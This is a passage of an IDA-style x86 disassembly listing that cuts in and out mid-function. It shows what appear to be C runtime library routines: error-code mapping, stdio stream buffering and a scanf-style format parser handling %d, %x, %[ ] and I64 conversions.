cmp ecx, 24h ja short loc_420CC1 mov dword_4DBDDC, 0Dh retn ; --------------------------------------------------------------------------- loc_420CB4: ; CODE XREF: sub_420C7F+13j mov eax, dword_43D194[edx*8] mov dword_4DBDDC, eax retn ; --------------------------------------------------------------------------- loc_420CC1: ; CODE XREF: sub_420C7F+23j ; sub_420C7F+28j cmp ecx, 0BCh jb short loc_420CDB cmp ecx, 0CAh mov dword_4DBDDC, 8 jbe short locret_420CE5 loc_420CDB: ; CODE XREF: sub_420C7F+48j mov dword_4DBDDC, 16h locret_420CE5: ; CODE XREF: sub_420C7F+5Aj retn sub_420C7F endp ; =============== S U B R O U T I N E ======================================= sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_42463D test eax, eax pop ecx jz short loc_420D6F cmp esi, offset dword_43D588 jnz short loc_420D04 xor eax, eax jmp short loc_420D0F ; --------------------------------------------------------------------------- loc_420D04: ; CODE XREF: sub_420CE6+18j cmp esi, offset dword_43D5A8 jnz short loc_420D6F push 1 pop eax loc_420D0F: ; CODE XREF: sub_420CE6+1Cj inc dword_4DBFAC test word ptr [esi+0Ch], 10Ch jnz short loc_420D6F cmp dword_4DBE50[eax*4], 0 push ebx push edi lea edi, ds:4DBE50h[eax*4] mov ebx, 1000h jnz short loc_420D55 push ebx call sub_41BEB5 test eax, eax pop ecx mov [edi], eax jnz short loc_420D55 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420D62 ; --------------------------------------------------------------------------- loc_420D55: ; CODE XREF: sub_420CE6+4Dj ; sub_420CE6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420D62: ; CODE XREF: sub_420CE6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420D6F: ; CODE XREF: sub_420CE6+10j ; sub_420CE6+24j ... xor eax, eax pop esi retn sub_420CE6 endp ; =============== S U B R O U T I N E ======================================= sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420D9D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420DAE push esi call sub_41E42B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420D9D: ; CODE XREF: sub_420D73+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420DAE push eax call sub_41E42B pop ecx loc_420DAE: ; CODE XREF: sub_420D73+10j ; sub_420D73+32j pop esi retn sub_420D73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4217B6 mov edi, [ebp+arg_0] jmp short loc_420DDF ; --------------------------------------------------------------------------- loc_420DDA: ; CODE XREF: sub_420DB0+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420DDF: ; CODE XREF: sub_420DB0+28j cmp dword_43D084, 1 jle short loc_420DF7 movzx eax, al push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420E06 ; --------------------------------------------------------------------------- loc_420DF7: ; CODE XREF: sub_420DB0+36j mov ecx, off_43CE78 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420E06: ; CODE XREF: sub_420DB0+45j cmp eax, ebx jz short loc_420E40 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42183D pop ecx pop ecx push eax call sub_421826 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 add esp, 0Ch loc_420E2E: ; CODE XREF: sub_420DB0+8Ej test eax, eax jz short loc_420E40 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 pop ecx jmp short loc_420E2E ; --------------------------------------------------------------------------- loc_420E40: ; CODE XREF: sub_420DB0+58j ; sub_420DB0+80j cmp byte ptr [esi], 25h jnz loc_421722 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420E77: ; CODE XREF: sub_420DB0+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43D084, 1 jle short loc_420E94 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420EA3 ; --------------------------------------------------------------------------- loc_420E94: ; CODE XREF: sub_420DB0+D3j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420EA3: ; CODE XREF: sub_420DB0+E2j test eax, eax jz short loc_420EB9 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EB9: ; CODE XREF: sub_420DB0+F5j cmp ebx, 4Eh jg short loc_420EFC jz short loc_420F1E cmp ebx, 2Ah jz short loc_420EF7 cmp ebx, 46h jz short loc_420F1E cmp ebx, 49h jz short loc_420ED9 cmp ebx, 4Ch jnz short loc_420F0B inc [ebp+var_D] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420ED9: ; CODE XREF: sub_420DB0+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420F0B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420F0B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EF7: ; CODE XREF: sub_420DB0+113j inc [ebp+var_E] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EFC: ; CODE XREF: sub_420DB0+10Cj cmp ebx, 68h jz short loc_420F18 cmp ebx, 6Ch jz short loc_420F10 cmp ebx, 77h jz short loc_420F13 loc_420F0B: ; CODE XREF: sub_420DB0+122j ; sub_420DB0+12Dj ... inc [ebp+var_F] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F10: ; CODE XREF: sub_420DB0+154j inc [ebp+var_D] loc_420F13: ; CODE XREF: sub_420DB0+159j inc [ebp+var_5] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F18: ; CODE XREF: sub_420DB0+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420F1E: ; CODE XREF: sub_420DB0+107j ; sub_420DB0+10Ej ... cmp [ebp+var_F], 0 jz loc_420E77 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420F43 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420F43: ; CODE XREF: sub_420DB0+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420F61 mov al, [esi] cmp al, 53h jz short loc_420F5D cmp al, 43h jz short loc_420F5D or [ebp+var_5], 0FFh jmp short loc_420F61 ; --------------------------------------------------------------------------- loc_420F5D: ; CODE XREF: sub_420DB0+1A1j ; sub_420DB0+1A5j mov [ebp+var_5], 1 loc_420F61: ; CODE XREF: sub_420DB0+19Bj ; sub_420DB0+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420F9A cmp esi, 63h jz short loc_420F8B cmp esi, 7Bh jz short loc_420F8B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42183D pop ecx jmp short loc_420F96 ; --------------------------------------------------------------------------- loc_420F8B: ; CODE XREF: sub_420DB0+1C5j ; sub_420DB0+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C loc_420F96: ; CODE XREF: sub_420DB0+1D9j pop ecx mov [ebp+var_14], eax loc_420F9A: ; CODE XREF: sub_420DB0+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420FAA cmp [ebp+var_C], eax jz loc_421786 loc_420FAA: ; CODE XREF: sub_420DB0+1EFj cmp esi, 6Fh jg loc_421211 jz loc_4214C3 cmp esi, 63h jz loc_4211EE cmp esi, 64h jz loc_4214C3 jle loc_42123B cmp esi, 67h jle short loc_42100E cmp esi, 69h jz short loc_420FF6 cmp esi, 6Eh jnz loc_42123B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4216F1 jmp loc_421717 ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420DB0+229j push 64h pop esi loc_420FF9: ; CODE XREF: sub_420DB0+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_421283 mov [ebp+var_17], 1 jmp loc_421288 ; --------------------------------------------------------------------------- loc_42100E: ; CODE XREF: sub_420DB0+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42102A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42102F ; --------------------------------------------------------------------------- loc_42102A: ; CODE XREF: sub_420DB0+26Aj cmp ebx, 2Bh jnz short loc_421046 loc_42102F: ; CODE XREF: sub_420DB0+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_421049 ; --------------------------------------------------------------------------- loc_421046: ; CODE XREF: sub_420DB0+27Dj mov edi, [ebp+arg_0] loc_421049: ; CODE XREF: sub_420DB0+294j cmp [ebp+var_20], 0 jz short loc_421058 cmp [ebp+var_C], 15Dh jle short loc_42105F loc_421058: ; CODE XREF: sub_420DB0+29Dj mov [ebp+var_C], 15Dh loc_42105F: ; CODE XREF: sub_420DB0+2A6j ; sub_420DB0+2F2j cmp dword_43D084, 1 jle short loc_421074 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_42107F ; --------------------------------------------------------------------------- loc_421074: ; CODE XREF: sub_420DB0+2B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_42107F: ; CODE XREF: sub_420DB0+2C2j test eax, eax jz short loc_4210A4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4210A4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42105F ; --------------------------------------------------------------------------- loc_4210A4: ; CODE XREF: sub_420DB0+2D1j ; sub_420DB0+2DBj cmp byte_43D088, bl jnz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_4] push edi call sub_42180C mov ebx, eax mov al, byte_43D088 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_4210CD: ; CODE XREF: sub_420DB0+360j cmp dword_43D084, 1 jle short loc_4210E2 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_4210ED ; --------------------------------------------------------------------------- loc_4210E2: ; CODE XREF: sub_420DB0+324j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_4210ED: ; CODE XREF: sub_420DB0+330j test eax, eax jz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4210CD ; --------------------------------------------------------------------------- loc_421112: ; CODE XREF: sub_420DB0+2FAj ; sub_420DB0+304j ... cmp [ebp+var_1C], 0 jz loc_4211AA cmp ebx, 65h jz short loc_42112A cmp ebx, 45h jnz loc_4211AA loc_42112A: ; CODE XREF: sub_420DB0+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_421151 mov [esi], al inc esi jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421151: ; CODE XREF: sub_420DB0+39Aj cmp ebx, 2Bh jnz short loc_421174 loc_421156: ; CODE XREF: sub_420DB0+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_421165 and [ebp+var_C], eax jmp short loc_421174 ; --------------------------------------------------------------------------- loc_421165: ; CODE XREF: sub_420DB0+3AEj ; sub_420DB0+3F8j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421174: ; CODE XREF: sub_420DB0+3A4j ; sub_420DB0+3B3j cmp dword_43D084, 1 jle short loc_421189 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421194 ; --------------------------------------------------------------------------- loc_421189: ; CODE XREF: sub_420DB0+3CBj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421194: ; CODE XREF: sub_420DB0+3D7j test eax, eax jz short loc_4211AA mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_421165 ; --------------------------------------------------------------------------- loc_4211AA: ; CODE XREF: sub_420DB0+366j ; sub_420DB0+374j ... dec [ebp+var_4] push edi push ebx call sub_421826 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43D428 add esp, 0Ch jmp loc_421717 ; --------------------------------------------------------------------------- loc_4211EE: ; CODE XREF: sub_420DB0+20Cj cmp [ebp+var_20], eax jnz short loc_4211FD inc [ebp+var_C] mov [ebp+var_20], 1 loc_4211FD: ; CODE XREF: sub_420DB0+441j cmp [ebp+var_5], 0 jle short loc_421207 mov [ebp+var_16], 1 loc_421207: ; CODE XREF: sub_420DB0+451j mov edi, offset dword_43D300 jmp loc_42131C ; --------------------------------------------------------------------------- loc_421211: ; CODE XREF: sub_420DB0+1FDj mov eax, esi sub eax, 70h jz loc_4214BF sub eax, 3 jz loc_42130D dec eax dec eax jz loc_4214C3 sub eax, 3 jz loc_420FF9 sub eax, 3 jz short loc_42125F loc_42123B: ; CODE XREF: sub_420DB0+21Bj ; sub_420DB0+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421786 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421717 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421717 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420DB0+489j cmp [ebp+var_5], 0 jle short loc_421269 mov [ebp+var_16], 1 loc_421269: ; CODE XREF: sub_420DB0+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421320 mov eax, edi lea edi, [eax+1] jmp loc_42131C ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_420DB0+24Fj cmp ebx, 2Bh jnz short loc_4212AA loc_421288: ; CODE XREF: sub_420DB0+259j dec [ebp+var_C] jnz short loc_421299 cmp [ebp+var_20], 0 jz short loc_421299 mov [ebp+var_F], 1 jmp short loc_4212AA ; --------------------------------------------------------------------------- loc_421299: ; CODE XREF: sub_420DB0+4DBj ; sub_420DB0+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4212AA: ; CODE XREF: sub_420DB0+4D6j ; sub_420DB0+4E7j cmp ebx, 30h jnz loc_4214F8 push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4212F8 cmp bl, 58h jz short loc_4212F8 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4212E2 push 6Fh loc_4212DC: ; CODE XREF: sub_420DB0+55Bj pop esi jmp loc_4214F8 ; --------------------------------------------------------------------------- loc_4212E2: ; CODE XREF: sub_420DB0+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx push 30h pop ebx jmp loc_4214F5 ; --------------------------------------------------------------------------- loc_4212F8: ; CODE XREF: sub_420DB0+517j ; sub_420DB0+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4212DC ; --------------------------------------------------------------------------- loc_42130D: ; CODE XREF: sub_420DB0+46Fj cmp [ebp+var_5], 0 jle short loc_421317 mov [ebp+var_16], 1 loc_421317: ; CODE XREF: sub_420DB0+561j mov edi, offset dword_43D2F8 loc_42131C: ; CODE XREF: sub_420DB0+45Cj ; sub_420DB0+4CEj or [ebp+var_18], 0FFh loc_421320: ; CODE XREF: sub_420DB0+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BF70 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_421344 cmp byte ptr [edi], 5Dh jnz short loc_421344 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421344: ; CODE XREF: sub_420DB0+584j ; sub_420DB0+589j mov dl, [ebp+var_35] loc_421347: ; CODE XREF: sub_420DB0+592j ; sub_420DB0+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4213AC inc edi cmp al, 2Dh jnz short loc_421393 test dl, dl jz short loc_421393 mov cl, [edi] cmp cl, 5Dh jz short loc_421393 inc edi cmp dl, cl jnb short loc_421366 mov al, cl jmp short loc_42136A ; --------------------------------------------------------------------------- loc_421366: ; CODE XREF: sub_420DB0+5B0j mov al, dl mov dl, cl loc_42136A: ; CODE XREF: sub_420DB0+5B4j cmp dl, al ja short loc_42138F movzx edx, dl movzx esi, al sub esi, edx inc esi loc_421377: ; CODE XREF: sub_420DB0+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_421377 loc_42138F: ; CODE XREF: sub_420DB0+5BCj xor dl, dl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420DB0+5A0j ; sub_420DB0+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_4213AC: ; CODE XREF: sub_420DB0+59Bj cmp byte ptr [edi], 0 jz loc_4217B6 cmp [ebp+var_3C], 7Bh jnz short loc_4213BE mov [ebp+arg_4], edi loc_4213BE: ; CODE XREF: sub_420DB0+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421826 pop ecx pop ecx loc_4213D5: ; CODE XREF: sub_420DB0+6BCj ; sub_420DB0+6C4j cmp [ebp+var_20], 0 jz short loc_4213E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_421485 loc_4213E9: ; CODE XREF: sub_420DB0+629j inc [ebp+var_4] push edi call sub_42180C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_421479 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_421479 cmp [ebp+var_E], 0 jnz short loc_421471 cmp [ebp+var_16], 0 jz short loc_421466 mov ecx, off_43CE78 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_421445 inc [ebp+var_4] push edi call sub_42180C pop ecx mov [ebp+var_37], al loc_421445: ; CODE XREF: sub_420DB0+686j push dword_43D084 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4246CB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_421469 ; --------------------------------------------------------------------------- loc_421466: ; CODE XREF: sub_420DB0+673j mov [esi], al inc esi loc_421469: ; CODE XREF: sub_420DB0+6B4j mov [ebp+var_2C], esi jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421471: ; CODE XREF: sub_420DB0+66Dj inc [ebp+var_30] jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421479: ; CODE XREF: sub_420DB0+649j ; sub_420DB0+667j dec [ebp+var_4] push edi push eax call sub_421826 pop ecx pop ecx loc_421485: ; CODE XREF: sub_420DB0+633j cmp [ebp+var_30], esi jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421717 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4214B7 and word ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214B7: ; CODE XREF: sub_420DB0+6FCj and byte ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214BF: ; CODE XREF: sub_420DB0+466j mov [ebp+var_D], 1 loc_4214C3: ; CODE XREF: sub_420DB0+203j ; sub_420DB0+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4214D1 mov [ebp+var_17], 1 jmp short loc_4214D6 ; --------------------------------------------------------------------------- loc_4214D1: ; CODE XREF: sub_420DB0+719j cmp ebx, 2Bh jnz short loc_4214F8 loc_4214D6: ; CODE XREF: sub_420DB0+71Fj dec [ebp+var_C] jnz short loc_4214E7 cmp [ebp+var_20], 0 jz short loc_4214E7 mov [ebp+var_F], 1 jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214E7: ; CODE XREF: sub_420DB0+729j ; sub_420DB0+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax loc_4214F5: ; CODE XREF: sub_420DB0+543j mov [ebp+var_14], ebx loc_4214F8: ; CODE XREF: sub_420DB0+4FDj ; sub_420DB0+52Dj ... cmp [ebp+var_30], 0 jz loc_421611 cmp [ebp+var_F], 0 jnz loc_4215EF loc_42150C: ; CODE XREF: sub_420DB0+82Cj cmp esi, 78h jnz short loc_421560 cmp dword_43D084, 1 jle short loc_421529 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421529: ; CODE XREF: sub_420DB0+768j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421536: ; CODE XREF: sub_420DB0+777j test eax, eax jz loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4247A0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4215B3 ; --------------------------------------------------------------------------- loc_421560: ; CODE XREF: sub_420DB0+75Fj cmp dword_43D084, 1 jle short loc_421575 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421580 ; --------------------------------------------------------------------------- loc_421575: ; CODE XREF: sub_420DB0+7B7j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421580: ; CODE XREF: sub_420DB0+7C3j test eax, eax jz short loc_4215E1 cmp esi, 6Fh jnz short loc_42159E cmp ebx, 38h jge short loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4247A0 jmp short loc_4215AD ; --------------------------------------------------------------------------- loc_42159E: ; CODE XREF: sub_420DB0+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DB20 loc_4215AD: ; CODE XREF: sub_420DB0+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4215B3: ; CODE XREF: sub_420DB0+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4215CB dec [ebp+var_C] jz short loc_4215EF loc_4215CB: ; CODE XREF: sub_420DB0+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42150C ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_420DB0+788j ; sub_420DB0+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4215EF: ; CODE XREF: sub_420DB0+756j ; sub_420DB0+819j cmp [ebp+var_17], 0 jz loc_4216D5 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4216D5 ; --------------------------------------------------------------------------- loc_421611: ; CODE XREF: sub_420DB0+74Cj cmp [ebp+var_F], 0 jnz loc_4216CD loc_42161B: ; CODE XREF: sub_420DB0+90Aj cmp esi, 78h jz short loc_42165F cmp esi, 70h jz short loc_42165F cmp dword_43D084, 1 jle short loc_42163A push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421645 ; --------------------------------------------------------------------------- loc_42163A: ; CODE XREF: sub_420DB0+87Cj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421645: ; CODE XREF: sub_420DB0+888j test eax, eax jz short loc_4216BF cmp esi, 6Fh jnz short loc_421658 cmp ebx, 38h jge short loc_4216BF shl edi, 3 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_421658: ; CODE XREF: sub_420DB0+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_42165F: ; CODE XREF: sub_420DB0+86Ej ; sub_420DB0+873j cmp dword_43D084, 1 jle short loc_421677 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421684 ; --------------------------------------------------------------------------- loc_421677: ; CODE XREF: sub_420DB0+8B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421684: ; CODE XREF: sub_420DB0+8C5j test eax, eax jz short loc_4216BF push ebx shl edi, 4 call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421697: ; CODE XREF: sub_420DB0+8A6j ; sub_420DB0+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4216A9 dec [ebp+var_C] jz short loc_4216CD loc_4216A9: ; CODE XREF: sub_420DB0+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42161B ; --------------------------------------------------------------------------- loc_4216BF: ; CODE XREF: sub_420DB0+897j ; sub_420DB0+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4216CD: ; CODE XREF: sub_420DB0+865j ; sub_420DB0+8F7j cmp [ebp+var_17], 0 jz short loc_4216D5 neg edi loc_4216D5: ; CODE XREF: sub_420DB0+843j ; sub_420DB0+85Cj ... cmp esi, 46h jnz short loc_4216DE and [ebp+var_1C], 0 loc_4216DE: ; CODE XREF: sub_420DB0+928j cmp [ebp+var_1C], 0 jz loc_4217B6 cmp [ebp+var_E], 0 jnz short loc_421717 inc [ebp+var_34] loc_4216F1: ; CODE XREF: sub_420DB0+23Bj cmp [ebp+var_30], 0 jz short loc_421707 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_420DB0+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421714 mov [eax], edi jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421714: ; CODE XREF: sub_420DB0+95Ej mov [eax], di loc_421717: ; CODE XREF: sub_420DB0+241j ; sub_420DB0+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_421764 ; --------------------------------------------------------------------------- loc_421722: ; CODE XREF: sub_420DB0+93j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421791 mov ecx, off_43CE78 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_421764 inc [ebp+var_4] push edi call sub_42180C pop ecx 